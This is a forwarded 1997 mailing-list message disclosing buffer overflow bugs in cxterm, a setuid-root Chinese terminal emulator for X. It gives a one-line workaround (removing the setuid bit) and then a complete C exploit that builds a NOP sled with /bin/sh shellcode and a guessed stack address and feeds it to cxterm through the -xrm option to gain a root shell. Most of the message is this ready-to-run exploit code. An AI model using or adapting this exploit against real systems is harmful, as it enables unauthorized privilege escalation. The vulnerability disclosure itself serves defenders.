[ LUGOS ] [Fwd: [linux-security] cxterm buffer overrun]

[Milan]

This is a multi-part message in MIME format.

--------------4E4917342244
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

-- 
----------------------------------
|  Nick on IRC : Majkl            \
|  email : milan.gabor na uni-mb.si   \___________             
|  http://storm.uni-mb.si/docs/personal/milan/ |               
------------------------------------------------

--------------4E4917342244
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Return-path: <linux-security-request na redhat.com>
Received: from DIRECTORY-DAEMON by rcum.uni-mb.si (PMDF V5.1-4 #7554)
 id <01IIVCPR9B1S000OP9 na rcum.uni-mb.si> for gabor; Wed, 14 May 1997 19:10:11 MET
Received: from soncek.uni-mb.si by rcum.uni-mb.si (PMDF V5.1-4 #7554)
 with SMTP id <01IIVCPJUGKG000OAZ na rcum.uni-mb.si> for milan.gabor na uni-mb.si;
 Wed, 14 May 1997 19:10:01 +0100 (MET)
Received: from mail2.redhat.com by soncek.uni-mb.si with SMTP using DNS (PP)
 id <17980-0 na soncek.uni-mb.si>; Wed, 14 May 1997 19:09:44 +0200
Received: (qmail 2203 invoked by uid 501); Wed, 14 May 1997 17:02:37 +0000
Resent-date: Wed, 14 May 1997 17:02:37 +0000
Date: Wed, 14 May 1997 09:30:19 -0700
Resent-from: linux-security na redhat.com
From: Ming Zhang <mzhang na softcom.net>
Subject: [linux-security] cxterm buffer overrun
Resent-sender: linux-security-request na redhat.com
Sender: fengyue na mail2.redhat.com
To: linux-security na redhat.com
Resent-cc: recipient list not shown: ;
Reply-to: linux-security na redhat.com
Resent-message-id: <"tnGiw2.0.cX.h0VUp"@mail2.redhat.com>
Message-id: <3379E89B.48A6FCEB na softcom.net>
MIME-version: 1.0
X-Mailer: Mozilla 3.01 (X11; I; Linux 2.0.29 i586)
Content-type: text/plain; charset=us-ascii
Content-transfer-encoding: 7bit
Precedence: list
MBOX-Line: From linux-security-request na redhat.com Wed May 14 13:02:35 1997
X-Mailing-List: <linux-security na redhat.com> archive/latest/237
X-Loop: linux-security na redhat.com

cxterm is a Chinese terminal emulator for the X Window System.
It's installed as suid-root by default if you did a make install.
Just like xterm, it does needs to be suid to update
/etc/utmp...blahblah...

I discovered some buffer overflow bugs in it. The code
attached below is the exploit.

Quick fix? chmod -s /path/cxterm

==========================================================================
/*

   cxterm buffer overflow exploit for Linux.  This code is tested on
both Slackware 3.1 and 3.2.

					Ming Zhang
                                        mzhang na softcom.net
*/
#include <unistd.h> 
#include <stdio.h> 
#include <stdlib.h>
#include <fcntl.h>
   
#define CXTERM_PATH "/usr/X11R6/bin/cxterm"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] = 
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
   
void main(int argc,char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int i,OffSet = DEFAULT_OFFSET;

/* use a different offset if you find this program doesn't do the job */
   if (argc>1) OffSet = atoi(argv[1]);

   buff = malloc(2048);
   if(!buff)
   {
      printf("Buy more RAM!\n");
      exit(0);
   }
   ptr = buff;
      
   for (i = 0; i <= BUFFER_SIZE - strlen(shellcode) - NOP_SIZE;
i+=NOP_SIZE) {
        memcpy (ptr,nop,NOP_SIZE);
        ptr+=NOP_SIZE; 
   }

   for(i=0;i < strlen(shellcode);i++)
      *(ptr++) = shellcode[i];
   
   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_sp() + OffSet;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   (void) fprintf(stderr,  
         "This bug is discovered by Ming Zhang
(mzhang na softcom.net)\n");  
    /* Don't need to set ur DISPLAY to exploit this one, cool huh? */
    execl(CXTERM_PATH, "cxterm", "-xrm",buff, NULL);
}  


===================================================================================



--------------4E4917342244--